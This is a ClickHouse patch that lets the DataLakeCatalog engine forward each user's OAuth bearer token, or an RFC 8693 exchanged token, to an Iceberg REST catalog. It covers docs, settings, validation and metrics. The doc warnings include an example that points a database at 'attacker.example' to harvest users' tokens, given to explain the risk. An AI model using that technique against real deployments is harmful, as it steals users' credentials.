From 5cef4d8231404750ef1da04e1899bc7a04ed03c8 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Tue, 8 Sep 2026 18:34:48 +0200 Subject: [PATCH 1/6] Forward auth tokens to data lake catalogs --- docs/en/engines/database-engines/datalake.md | 111 +++ .../external-authenticators/tokens.md | 42 ++ src/Access/AccessControl.cpp | 12 + src/Access/AccessControl.h | 7 + src/Access/ForwardedAuthToken.cpp | 18 + src/Access/ForwardedAuthToken.h | 39 + src/Common/CurrentMetrics.cpp | 2 + src/Common/ErrorCodes.cpp | 1 + src/Common/ProfileEvents.cpp | 6 + src/Core/ServerSettings.cpp | 15 + src/Databases/DataLake/DataLakeConstants.h | 4 + src/Databases/DataLake/DatabaseDataLake.cpp | 154 +++- src/Databases/DataLake/DatabaseDataLake.h | 8 + .../DataLake/DatabaseDataLakeSettings.cpp | 6 + src/Databases/DataLake/GlueCatalog.cpp | 22 +- src/Databases/DataLake/GlueCatalog.h | 21 +- src/Databases/DataLake/HiveCatalog.cpp | 6 +- src/Databases/DataLake/HiveCatalog.h | 7 +- src/Databases/DataLake/ICatalog.cpp | 11 +- src/Databases/DataLake/ICatalog.h | 40 +- src/Databases/DataLake/PaimonRestCatalog.cpp | 6 +- src/Databases/DataLake/PaimonRestCatalog.h | 7 +- src/Databases/DataLake/RestCatalog.cpp | 664 +++++++++++++----- src/Databases/DataLake/RestCatalog.h | 236 +++++-- src/Databases/DataLake/S3TablesCatalog.cpp | 31 +- src/Databases/DataLake/S3TablesCatalog.h | 19 +- src/Databases/DataLake/UnityCatalog.cpp | 9 +- src/Databases/DataLake/UnityCatalog.h | 11 +- .../DataLake/tests/gtest_rest_catalog.cpp | 252 ++----- .../gtest_rest_catalog_token_forwarding.cpp | 495 +++++++++++++ .../DataLake/tests/rest_catalog_test_server.h | 231 ++++++ .../Access/InterpreterExecuteAsQuery.cpp | 8 + src/Interpreters/Context.cpp | 5 + src/Interpreters/Context.h | 12 + src/Interpreters/Session.cpp | 38 + src/Interpreters/Session.h | 7 + .../Iceberg/ExpireSnapshotsExecute.cpp | 2 +- .../DataLakes/Iceberg/IcebergMetadata.cpp | 9 +- .../DataLakes/Iceberg/IcebergWrites.cpp | 2 +- .../DataLakes/Iceberg/Mutations.cpp | 4 +- .../ObjectStorage/StorageObjectStorage.cpp | 3 +- .../ObjectStorage/StorageObjectStorage.h | 5 + ...ompose_iceberg_lakekeeper_oidc_catalog.yml | 150 ++++ .../test_datalake_sso_lakekeeper/__init__.py | 0 .../configs/cluster.xml | 18 + .../configs/token_forwarding.xml | 24 + .../configs/users.xml | 21 + .../keycloak/realm-export.json | 118 ++++ .../test_datalake_sso_lakekeeper/test.py | 509 ++++++++++++++ .../__init__.py | 0 .../configs/token_forwarding.xml | 28 + .../configs/users.xml | 17 + .../test_datalake_token_forwarding/test.py | 359 ++++++++++ ...atalake_token_forwarding_masking.reference | 19 + ...05027_datalake_token_forwarding_masking.sh | 86 +++ ...ake_token_forwarding_fail_closed.reference | 14 + ...8_datalake_token_forwarding_fail_closed.sh | 60 ++ 57 files changed, 3520 insertions(+), 491 deletions(-) create mode 100644 src/Access/ForwardedAuthToken.cpp create mode 100644 src/Access/ForwardedAuthToken.h create mode 100644 src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp create mode 100644 src/Databases/DataLake/tests/rest_catalog_test_server.h create mode 100644 tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/__init__.py create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/users.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json create mode 100644 tests/integration/test_datalake_sso_lakekeeper/test.py create mode 100644 tests/integration/test_datalake_token_forwarding/__init__.py create mode 100644 tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml create mode 100644 tests/integration/test_datalake_token_forwarding/configs/users.xml create mode 100644 tests/integration/test_datalake_token_forwarding/test.py create mode 100644 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference create mode 100755 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh create mode 100644 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference create mode 100755 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index 14713eb75154..e7567bbb84f3 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -61,6 +61,12 @@ The following settings are supported: | `dlf_access_key_id` | Access key ID for DLF access | | `dlf_access_key_secret` | Access key Secret for DLF access | | `namespaces` | Comma-separated list of namespaces, implemented for catalog types: `rest`, `glue` and `unity` | +| `oauth_forward_user_token` | Authenticate to the catalog as the user running the query instead of as the shared service principal. Iceberg REST only. See [Forwarding the user's identity to the catalog](#user-token-forwarding) | +| `oauth_token_exchange_uri` | Empty (the default) forwards the user's token unchanged; non-empty performs an RFC 8693 token exchange at this URL first | +| `oauth_subject_token_type` | RFC 8693 `subject_token_type` of the forwarded token. Default `urn:ietf:params:oauth:token-type:access_token` | +| `oauth_requested_token_type` | RFC 8693 `requested_token_type`; empty omits the field. Default `urn:ietf:params:oauth:token-type:access_token` | +| `oauth_forward_actor_token` | Send the service principal's own token as the RFC 8693 `actor_token`. Default `0` | +| `oauth_user_token_cache_ttl` | Maximum lifetime (in seconds) of a cached exchanged session token; `0` disables caching. Default `300` | ## Examples {#examples} @@ -86,6 +92,111 @@ SELECT count() from database_name.table_name; ``` To authenticate without sharing a client secret, set `onelake_bearer_token` to a pre-obtained bearer token (scoped to `https://storage.azure.com`) instead of `onelake_client_id`/`onelake_client_secret`. ClickHouse does not refresh the token, so the database must be recreated after it expires. +## Forwarding the user's identity to the catalog {#user-token-forwarding} + +By default ClickHouse talks to an Iceberg REST catalog as a single shared service principal +configured with `catalog_credential` or `auth_header`. The catalog therefore cannot see, authorize +or audit the human behind a query, and every ClickHouse user gets identical catalog and storage +access. + +With `oauth_forward_user_token = 1` the catalog is contacted as the user who is running the query. +The identity that authenticated to ClickHouse becomes the identity the catalog authorizes, and the +storage credentials the catalog vends are scoped to that identity. + +This requires: + +- the server-level [`enable_token_forwarding`](/operations/server-configuration-parameters/settings#enable_token_forwarding) + setting, which is `false` by default. Without it the token is destroyed right after + authentication and nothing can be forwarded; +- `catalog_type = 'rest'`. No other catalog type can authenticate as the querying user, so the + setting is rejected for them rather than silently ignored; +- users who authenticate with a token -- an `Authorization: Bearer` HTTP header, or `--jwt` for the + native protocol. See [Token-based authentication](/en/operations/external-authenticators/oauth). + +:::danger `CREATE DATABASE` becomes a privileged operation +The token is sent to the URL that whoever created the database chose. With forwarding enabled, +anyone who can run `CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` can +harvest the bearer token of every user who queries that database. Grant `CREATE DATABASE` +accordingly and keep `remote_url_allow_hosts` restrictive. +::: + +### Passthrough: the default {#user-token-forwarding-passthrough} + +On its own, `oauth_forward_user_token = 1` forwards the user's bearer token to the catalog +unchanged. This is what Lakekeeper, Nessie and Polaris-with-an-external-IdP accept, and it needs no +token endpoint and no client credentials: + +```sql +CREATE DATABASE demo +ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + oauth_forward_user_token = 1; +``` + +Because one token is presented both to ClickHouse and to the catalog, its audience must cover +both. With Keycloak this usually means adding an audience mapper to the ClickHouse client so the +issued token carries the catalog's audience as well. + +### Token exchange: opt-in {#user-token-forwarding-exchange} + +Setting `oauth_token_exchange_uri` switches to an [RFC 8693](https://www.rfc-editor.org/rfc/rfc8693) +token exchange against that URL, and the token obtained there is what the catalog sees. The +presence of the URI *is* the mode -- there is no separate mode setting. + +Point it at your IdP's token endpoint to obtain a token whose audience the catalog accepts (the +flow Lakekeeper documents): + +```sql +CREATE DATABASE demo +ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'clickhouse:', + auth_scope = 'lakekeeper', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://keycloak:8080/realms/demo/protocol/openid-connect/token'; +``` + +The exchange request authenticates itself with `client_id`/`client_secret` parsed out of +`catalog_credential`, sent in the form body -- standard OAuth token-endpoint client authentication. +`catalog_credential` is therefore mandatory when `oauth_token_exchange_uri` is set, and optional +otherwise. `auth_scope` is reused as the exchange `scope`; its default value `PRINCIPAL_ROLE:ALL` +is Polaris-specific and must be overridden for other targets (`scope = 'lakekeeper'` for +Keycloak to Lakekeeper). + +`oauth_token_exchange_uri` may also point at a catalog's own `/v1/oauth/tokens` endpoint. Note that +the Iceberg REST specification marks that endpoint **deprecated for removal** ("not recommended to +implement… will be removed in Iceberg 2.0"), and several widely deployed catalogs (Lakekeeper among +them) do not implement it at all. That is why the endpoint can only be reached by writing its URL +out in full. + +### What is and is not covered {#user-token-forwarding-scope} + +- Every catalog request made on behalf of a query carries the user's identity: listing namespaces + and tables, loading table metadata, and the write paths (`INSERT`, `ALTER`, mutations, + `DROP TABLE`, snapshot expiry). +- Storage credentials vended by the catalog are cached per principal, so one user never receives + the credentials the catalog issued to another. +- Requests with no user token are refused with `CATALOG_USER_TOKEN_NOT_AVAILABLE`. ClickHouse never + falls back to the service principal: that would turn an authorization failure into a query that + succeeds under the wrong identity. `system.tables` and `SHOW TABLES` swallow catalog errors by + design, so there they show an empty list rather than an error. +- SSO ends at the catalog. When `object_storage_cluster` is set, the table-scoped credentials the + catalog vended are sent to the worker nodes as query-AST literals over the interserver channel. + Configure `interserver_https_port` or a cluster `` before combining forwarding with a + cluster read. +- HTTP re-authenticates on every request, so a rotated token takes effect immediately. A native + TCP connection authenticates once at handshake time, so a long-lived `clickhouse-client --jwt` + session must reconnect to pick up a fresh token. +- Catalog credentials cannot be rotated in place; changing them requires `DROP DATABASE` followed + by `CREATE DATABASE`. + +None of the forwarding settings hold a secret, so unlike `catalog_credential` they are shown in +full by `SHOW CREATE DATABASE` and `system.databases.engine_full`. + ## Namespace filter {#namespace} By default, ClickHouse reads tables from all namespaces available in the catalog. You can limit this behavior using the `namespaces` database setting. The value should be a comma‑separated list of namespaces that are allowed to be read. diff --git a/docs/en/operations/external-authenticators/tokens.md b/docs/en/operations/external-authenticators/tokens.md index 4bc2151c2498..277602fea411 100644 --- a/docs/en/operations/external-authenticators/tokens.md +++ b/docs/en/operations/external-authenticators/tokens.md @@ -300,6 +300,48 @@ To reduce number of requests to IdP, tokens are cached internally for a maximum If token expires sooner than `token_cache_lifetime`, then cache entry for this token will only be valid while token is valid. If token lifetime is longer than `token_cache_lifetime`, cache entry for this token will be valid for `token_cache_lifetime`. +## Forwarding the token to external services {#token-forwarding} + +By default the bearer token a user authenticated with is destroyed as soon as authentication +succeeds: it lives only on the stack of the HTTP or native protocol handler and reaches neither +the session nor the query context. + +Setting `enable_token_forwarding` to `1` in `config.xml` keeps the token on the session so it can +be presented to an external service on the user's behalf: + +```xml +1 +``` + +The only consumer today is the [`DataLakeCatalog`](/engines/database-engines/datalakecatalog) +database engine, whose `oauth_forward_user_token` setting makes an Iceberg REST catalog authorize +the human running the query instead of a shared service principal. See +[Forwarding the user's identity to the catalog](/engines/database-engines/datalakecatalog#user-token-forwarding) +for the database side. + +The setting is hot-reloadable, and is `false` by default because it widens where the secret lives: +without it the only copy is the private token cache inside `ExternalAuthenticators`, with it the +token is reachable from any storage or table function that receives the query context. + +:::danger `CREATE DATABASE` becomes a privileged operation +A forwarded token is sent to a URL chosen by whoever created the database it is forwarded for. +With forwarding enabled, the right to run +`CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` is the right to harvest +the bearer token of every user who queries that database. Grant it accordingly, and keep +`remote_url_allow_hosts` restrictive -- it is enforced on the token-exchange endpoint as well as +on catalog requests. +::: + +What is forwarded is always the token that was actually verified for this session. It is +deliberately not carried in `ClientInfo`, so it is not copied into a context rebuilt by +`EXECUTE AS` or by a DEFINER view, cannot be supplied by a peer over the interserver protocol, and +is never serialized to the wire or to disk. + +Because HTTP re-authenticates on every request, a rotated token takes effect on the next query. A +native TCP connection authenticates once during the handshake, so a long-running +`clickhouse-client --jwt` session keeps presenting the token it connected with and must reconnect +to pick up a fresh one. + ## Enabling token authentication for a user in `users.xml` {#enabling-jwt-auth-in-users-xml} In order to enable token-based authentication for the user, specify `jwt` section instead of `password` or other similar sections in the user definition. diff --git a/src/Access/AccessControl.cpp b/src/Access/AccessControl.cpp index a5ff29f87202..c6b1e79ccdb8 100644 --- a/src/Access/AccessControl.cpp +++ b/src/Access/AccessControl.cpp @@ -295,6 +295,7 @@ void AccessControl::setupFromMainConfig(const Poco::Util::AbstractConfiguration setPasswordComplexityRulesFromConfig(config_); setTokenAuthEnabled(config_.getBool("enable_token_auth", true)); + setTokenForwardingEnabled(config_.getBool("enable_token_forwarding", false)); setBcryptWorkfactor(config_.getInt("bcrypt_workfactor", 12)); @@ -705,6 +706,7 @@ void AccessControl::setExternalAuthenticatorsConfig(const Poco::Util::AbstractCo /// value in place -- operators who toggle token auth off in response to an /// IdP outage or a credential leak would see no effect until restart. setTokenAuthEnabled(config.getBool("enable_token_auth", true)); + setTokenForwardingEnabled(config.getBool("enable_token_forwarding", false)); external_authenticators->setConfiguration(config, getLogger(), token_http_timeouts, isTokenAuthEnabled()); } @@ -994,4 +996,14 @@ bool AccessControl::isTokenAuthEnabled() const { return enable_token_auth; } + +void AccessControl::setTokenForwardingEnabled(bool enable) +{ + enable_token_forwarding = enable; +} + +bool AccessControl::isTokenForwardingEnabled() const +{ + return enable_token_forwarding; +} } diff --git a/src/Access/AccessControl.h b/src/Access/AccessControl.h index fa57e5c5bf80..ef32f519385a 100644 --- a/src/Access/AccessControl.h +++ b/src/Access/AccessControl.h @@ -283,6 +283,12 @@ class AccessControl : public MultipleAccessStorage void setTokenAuthEnabled(bool enable); bool isTokenAuthEnabled() const; + /// Controls whether the token a user authenticated with is retained on the session so that it + /// can be forwarded to external services on that user's behalf. Off by default: a server that + /// does not use the feature keeps no new copy of the secret anywhere. + void setTokenForwardingEnabled(bool enable); + bool isTokenForwardingEnabled() const; + private: class ContextAccessCache; class CustomSettingsPrefixes; @@ -320,6 +326,7 @@ class AccessControl : public MultipleAccessStorage std::atomic_bool enable_read_write_grants = false; std::atomic_bool allow_impersonate_user = false; std::atomic_bool enable_token_auth = true; + std::atomic_bool enable_token_forwarding = false; }; } diff --git a/src/Access/ForwardedAuthToken.cpp b/src/Access/ForwardedAuthToken.cpp new file mode 100644 index 000000000000..fdc3d6fa6dca --- /dev/null +++ b/src/Access/ForwardedAuthToken.cpp @@ -0,0 +1,18 @@ +#include + +#include +#include + +namespace DB +{ + +ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal) +{ + auto result = std::make_shared(); + result->token = credentials.getToken(); + result->fingerprint = getSipHash128AsHexString(sipHash128(result->token.data(), result->token.size())); + result->principal = principal; + return result; +} + +} diff --git a/src/Access/ForwardedAuthToken.h b/src/Access/ForwardedAuthToken.h new file mode 100644 index 000000000000..aef69245400b --- /dev/null +++ b/src/Access/ForwardedAuthToken.h @@ -0,0 +1,39 @@ +#pragma once + +#include + +#include + +namespace DB +{ + +class TokenCredentials; + +/// The bearer token a user authenticated to ClickHouse with, captured so that it can be forwarded +/// to an external service (currently an Iceberg REST catalog) on that user's behalf. +/// +/// This is deliberately *not* `ClientInfo::jwt`: `ClientInfo` is copied wholesale into contexts +/// rebuilt for `EXECUTE AS` and DEFINER views, and `ClientInfo::read` assigns fields from the +/// peer, so a `ClientInfo`-borne token could both run under the wrong identity and be supplied by +/// a remote client. A `ForwardedAuthToken` is written in exactly one place -- `Session::authenticate`, +/// from the credentials that were actually verified -- and is never serialized. +struct ForwardedAuthToken +{ + /// Secret. Never log it, never put it in an exception message, never put it in a URL. + String token; + /// Non-secret cache key derived from `token` (`getSipHash128AsHexString`). Used instead of the + /// user name so that a cached response cannot outlive the credential that produced it: the + /// fingerprint changes as soon as the token is rotated. + String fingerprint; + /// Non-secret: the authenticated user name, for logs, metrics and per-user cache partitioning. + String principal; +}; + +/// The token is immutable once captured, so every holder shares one allocation. +using ForwardedAuthTokenPtr = std::shared_ptr; + +/// Builds a `ForwardedAuthToken` from verified credentials. `principal` must be the canonical +/// `AuthResult::user_name`, not the name the client sent. +ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal); + +} diff --git a/src/Common/CurrentMetrics.cpp b/src/Common/CurrentMetrics.cpp index fe754c0334cb..d5ea0d3cd9e4 100644 --- a/src/Common/CurrentMetrics.cpp +++ b/src/Common/CurrentMetrics.cpp @@ -370,6 +370,8 @@ M(DNSAddressesCacheSize, "Number of cached DNS addresses") \ M(MarkCacheBytes, "Total size of mark cache in bytes") \ M(MarkCacheFiles, "Total number of mark files cached in the mark cache") \ + M(DataLakeCatalogUserTokenCacheBytes, "Total size in bytes of the per-user session tokens exchanged for data lake catalog access") \ + M(DataLakeCatalogUserTokenCacheEntries, "Total number of per-user session tokens exchanged for data lake catalog access") \ M(UniqueKeyIndexCacheBytes, "Total size of UNIQUE KEY index cache in bytes") \ M(UniqueKeyIndexCacheEntries, "Total number of UNIQUE KEY index blocks cached") \ M(DeleteBitmapCacheBytes, "Total size of the UNIQUE KEY delete-bitmap cache in bytes") \ diff --git a/src/Common/ErrorCodes.cpp b/src/Common/ErrorCodes.cpp index f9ecd77e997c..7ce92b710ad9 100644 --- a/src/Common/ErrorCodes.cpp +++ b/src/Common/ErrorCodes.cpp @@ -659,6 +659,7 @@ M(777, MEMORY_RESERVATION_KILLED) \ M(778, MEMORY_RESERVATION_FAILED) \ M(779, CATALOG_NAMESPACE_DISABLED) \ + M(780, CATALOG_USER_TOKEN_NOT_AVAILABLE) \ \ M(900, DISTRIBUTED_CACHE_ERROR) \ M(901, CANNOT_USE_DISTRIBUTED_CACHE) \ diff --git a/src/Common/ProfileEvents.cpp b/src/Common/ProfileEvents.cpp index 53e067ccaba0..486bb16b222c 100644 --- a/src/Common/ProfileEvents.cpp +++ b/src/Common/ProfileEvents.cpp @@ -1713,6 +1713,12 @@ The server successfully detected this situation and will download merged part fr M(ObjectStorageListObjectsCachePrefixMatchHits, "Number of times object storage list objects operation miss the cache using prefix matching.", ValueType::Number) \ M(DataLakeRestCatalogCredentialsVended, "Number of table metadata requests to REST catalog asking to vend storage credentials.", ValueType::Number) \ M(DataLakeRestCatalogCredentialsCacheHits, "Number of table metadata requests to REST catalog reusing cached storage credentials.", ValueType::Number) \ + M(DataLakeRestCatalogCredentialsCacheMisses, "Number of table metadata requests to REST catalog that had to vend fresh storage credentials because the per-principal cache did not hold them. With user token forwarding, a non-zero value for a second user proves the cache is partitioned per principal.", ValueType::Number) \ + M(DataLakeRestCatalogTokenExchange, "Number of RFC 8693 token exchanges performed to obtain a session token for the querying user.", ValueType::Number) \ + M(DataLakeRestCatalogTokenExchangeMicroseconds, "Total time of RFC 8693 token exchanges.", ValueType::Microseconds) \ + M(DataLakeRestCatalogTokenExchangeFailures, "Number of RFC 8693 token exchanges that failed.", ValueType::Number) \ + M(DataLakeRestCatalogUserTokenCacheHits, "Number of times a previously exchanged per-user session token was reused.", ValueType::Number) \ + M(DataLakeRestCatalogClientCredentialsGrants, "Number of `client_credentials` grants performed as the catalog service principal. Must stay at zero while user token forwarding is enabled: a non-zero value means a request fell back to the shared identity.", ValueType::Number) \ \ M(DataLakeRestCatalogLoadConfig, "Number of 'load config' requests to Iceberg REST catalog.", ValueType::Number) \ M(DataLakeRestCatalogLoadConfigMicroseconds, "Total time of 'load config' requests to Iceberg REST catalog.", ValueType::Microseconds) \ diff --git a/src/Core/ServerSettings.cpp b/src/Core/ServerSettings.cpp index 6ed2b20957d1..32c411068df9 100644 --- a/src/Core/ServerSettings.cpp +++ b/src/Core/ServerSettings.cpp @@ -890,6 +890,21 @@ namespace Default value: `true` (token authentication is enabled). )", 0) \ + DECLARE(Bool, enable_token_forwarding, false, R"( + Controls whether the bearer token a user authenticated with is retained for the lifetime of + their session so that it can be forwarded to external services on their behalf -- currently + an Iceberg REST catalog, via the `oauth_forward_user_token` database setting. + + When disabled (the default) the token is destroyed right after authentication, exactly as + before, and no database can forward it. + + Enabling this is a privileged decision: the token is forwarded to a URL that whoever ran + `CREATE DATABASE ... ENGINE = DataLakeCatalog()` chose, so `CREATE DATABASE` becomes an + operation that can harvest the bearer tokens of every user who queries that database. Grant + it accordingly, and keep `remote_url_allow_hosts` restrictive. + + Default value: `false` (the token is not retained). + )", 0) \ DECLARE(UInt64, concurrent_threads_soft_limit_num, 0, R"( The maximum number of query processing threads, excluding threads for retrieving data from remote servers, allowed to run all queries. This is not a hard limit. In case if the limit is reached the query will still get at least one thread to run. Query can upscale to desired number of threads during execution if more threads become available. diff --git a/src/Databases/DataLake/DataLakeConstants.h b/src/Databases/DataLake/DataLakeConstants.h index d404e3a4eb65..c5754f67650c 100644 --- a/src/Databases/DataLake/DataLakeConstants.h +++ b/src/Databases/DataLake/DataLakeConstants.h @@ -38,5 +38,9 @@ static inline std::unordered_map SETTINGS_TO_HIDE = /// DLF credentials {"dlf_access_key_id", DEFAULT_MASKING_RULE}, {"dlf_access_key_secret", DEFAULT_MASKING_RULE}, + /// NOTE: the `oauth_forward_user_token` family carries no secret -- a URI, two token-type URNs, + /// two booleans and a TTL -- and is deliberately left visible so that auditors can see the + /// security-relevant configuration of a database. Any future setting that holds a static token + /// must be added here. }; } diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 6f2a608398f6..791cbc5aa6af 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -67,6 +67,12 @@ namespace DatabaseDataLakeSetting extern const DatabaseDataLakeSettingsS3UriStyle storage_uri_style; extern const DatabaseDataLakeSettingsString oauth_server_uri; extern const DatabaseDataLakeSettingsBool oauth_server_use_request_body; + extern const DatabaseDataLakeSettingsBool oauth_forward_user_token; + extern const DatabaseDataLakeSettingsString oauth_token_exchange_uri; + extern const DatabaseDataLakeSettingsString oauth_subject_token_type; + extern const DatabaseDataLakeSettingsString oauth_requested_token_type; + extern const DatabaseDataLakeSettingsBool oauth_forward_actor_token; + extern const DatabaseDataLakeSettingsUInt64 oauth_user_token_cache_ttl; extern const DatabaseDataLakeSettingsBool vended_credentials; extern const DatabaseDataLakeSettingsUInt64 vended_credentials_cache_ttl; extern const DatabaseDataLakeSettingsString object_storage_cluster; @@ -191,6 +197,69 @@ void DatabaseDataLake::validateSettings() ErrorCodes::BAD_ARGUMENTS, "`warehouse` setting cannot be empty. " "Please specify 'SETTINGS warehouse=' in the CREATE DATABASE query"); } + + validateTokenForwardingSettings(); +} + +void DatabaseDataLake::validateTokenForwardingSettings() const +{ + const auto settings_version = database_settings.get(); + const DatabaseDataLakeSettings & settings = *settings_version; + + if (!settings[DatabaseDataLakeSetting::oauth_forward_user_token].value) + return; + + /// Checked on the setting rather than on `ICatalog::supportsUserTokenForwarding`, because + /// validation runs on CREATE and ATTACH, before the catalog object exists. + if (settings[DatabaseDataLakeSetting::catalog_type].value != DB::DatabaseDataLakeCatalogType::ICEBERG_REST) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` is only supported for `catalog_type = 'rest'`; " + "no other catalog type can authenticate as the querying user"); + + /// `auth_header` short-circuits `getAuthHeaders`, so the two together would silently send the + /// static header and never the user's token. + if (!settings[DatabaseDataLakeSetting::auth_header].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_forward_user_token` cannot be combined with `auth_header`: a static " + "authorization header takes precedence and would silently defeat forwarding"); + + const auto & exchange_uri = settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value; + if (!exchange_uri.empty() && settings[DatabaseDataLakeSetting::catalog_credential].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`oauth_token_exchange_uri` requires a non-empty `catalog_credential`: the token " + "exchange request has to authenticate itself with client credentials. Passthrough " + "(the default, with `oauth_token_exchange_uri` unset) needs none"); + + /// The six token types defined by RFC 8693 and reused by the Iceberg REST `TokenType` schema. + static const std::array valid_token_types = { + "urn:ietf:params:oauth:token-type:access_token", + "urn:ietf:params:oauth:token-type:refresh_token", + "urn:ietf:params:oauth:token-type:id_token", + "urn:ietf:params:oauth:token-type:saml1", + "urn:ietf:params:oauth:token-type:saml2", + "urn:ietf:params:oauth:token-type:jwt", + }; + auto check_token_type = [&](std::string_view setting_name, const std::string & value, bool empty_allowed) + { + if (value.empty() && empty_allowed) + return; + if (std::find(valid_token_types.begin(), valid_token_types.end(), value) == valid_token_types.end()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` must be one of the token type URNs defined by RFC 8693, got `{}`", + setting_name, value); + }; + check_token_type( + "oauth_subject_token_type", + settings[DatabaseDataLakeSetting::oauth_subject_token_type].value, + /* empty_allowed */ false); + check_token_type( + "oauth_requested_token_type", + settings[DatabaseDataLakeSetting::oauth_requested_token_type].value, + /* empty_allowed */ true); } void DatabaseDataLake::initialize() const @@ -227,7 +296,15 @@ void DatabaseDataLake::initialize() const settings[DatabaseDataLakeSetting::oauth_server_uri].value, settings[DatabaseDataLakeSetting::oauth_server_use_request_body].value, settings[DatabaseDataLakeSetting::namespaces].value, - Context::getGlobalContextInstance()); + Context::getGlobalContextInstance(), + DataLake::TokenForwardingConfig{ + .forward_user_token = settings[DatabaseDataLakeSetting::oauth_forward_user_token].value, + .token_exchange_uri = settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value, + .subject_token_type = settings[DatabaseDataLakeSetting::oauth_subject_token_type].value, + .requested_token_type = settings[DatabaseDataLakeSetting::oauth_requested_token_type].value, + .forward_actor_token = settings[DatabaseDataLakeSetting::oauth_forward_actor_token].value, + .user_token_cache_ttl = settings[DatabaseDataLakeSetting::oauth_user_token_cache_ttl].value, + }); break; } case DB::DatabaseDataLakeCatalogType::ICEBERG_ONELAKE: @@ -365,6 +442,13 @@ void DatabaseDataLake::initialize() const } } +DB::ForwardedAuthTokenPtr DatabaseDataLake::getForwardedAuthToken(const ContextPtr & context_) +{ + if (!context_) + return {}; + return context_->getForwardedAuthToken(); +} + std::shared_ptr DatabaseDataLake::getCatalog() const { std::lock_guard lock(catalog_mutex); @@ -577,13 +661,15 @@ std::string DatabaseDataLake::getStorageEndpointForTable(const DataLake::TableMe bool DatabaseDataLake::empty() const { - return getCatalog()->empty(); + /// `IDatabase::empty()` has no context to take a token from. With forwarding enabled this + /// therefore fails closed rather than falling back to the service principal. + return getCatalog()->empty(/* auth_token */ {}); } -bool DatabaseDataLake::isTableExist(const String & name, ContextPtr /* context_ */) const +bool DatabaseDataLake::isTableExist(const String & name, ContextPtr context_) const { const auto [namespace_name, table_name] = DataLake::parseTableName(name); - return getCatalog()->existsTable(namespace_name, table_name); + return getCatalog()->existsTable(namespace_name, table_name, getForwardedAuthToken(context_)); } StoragePtr DatabaseDataLake::tryGetTable(const String & name, ContextPtr context_) const @@ -781,7 +867,11 @@ StoragePtr DatabaseDataLake::tryGetTableImpl(const String & name, ContextPtr con auto storage_cluster = std::make_shared( cluster_name, configuration, - configuration->createObjectStorage(context_copy, /* is_readonly */ false, catalog->getCredentialsConfigurationCallback(StorageID(getDatabaseName(), name, table_uuid))), + configuration->createObjectStorage( + context_copy, + /* is_readonly */ false, + catalog->getCredentialsConfigurationCallback( + StorageID(getDatabaseName(), name, table_uuid), getForwardedAuthToken(context_))), StorageID(getDatabaseName(), name, table_uuid), /* columns */columns, /* constraints */ConstraintsDescription{}, @@ -835,7 +925,7 @@ DatabaseTablesIteratorPtr DatabaseDataLake::getTablesIterator( throw Exception(ErrorCodes::DATALAKE_DATABASE_ERROR, "Injected catalog listing failure"); }); - iceberg_tables = getCatalog()->getTables(); + iceberg_tables = getCatalog()->getTables(getForwardedAuthToken(context_)); } catch (...) { @@ -936,7 +1026,7 @@ std::vector DatabaseDataLake::getLightweightTablesItera throw Exception(ErrorCodes::DATALAKE_DATABASE_ERROR, "Injected catalog listing failure"); }); - iceberg_tables = getCatalog()->getTables(); + iceberg_tables = getCatalog()->getTables(getForwardedAuthToken(context_)); } catch (...) { @@ -955,7 +1045,7 @@ std::vector DatabaseDataLake::getLightweightTablesItera return result; } -Strings DatabaseDataLake::getAllTableNames(ContextPtr /*context*/) const +Strings DatabaseDataLake::getAllTableNames(ContextPtr context_) const { Strings result; @@ -964,7 +1054,7 @@ Strings DatabaseDataLake::getAllTableNames(ContextPtr /*context*/) const /// must not fail even when the catalog is temporarily unreachable. try { - result = getCatalog()->getTables(); + result = getCatalog()->getTables(getForwardedAuthToken(context_)); } catch (...) { @@ -988,7 +1078,8 @@ void DatabaseDataLake::checkDatabase() const auto catalog = getCatalog(); /// This function checks if we can access catalog and get tables list. /// We do not check if there are tables in catalog, because even if catalog is empty, it still can be valid and working. - std::ignore = catalog->empty(); + /// No context here either, so with forwarding enabled this fails closed -- see `empty()`. + std::ignore = catalog->empty(/* auth_token */ {}); LOG_TEST(log, "Database '{}' is OK", getDatabaseName()); @@ -1179,6 +1270,49 @@ void registerDatabaseDataLake(DatabaseFactory & factory) } } + /// CREATE-only, so that a database persisted by an older version can never be blocked from + /// attaching at startup. Rejects configuration that reads as if 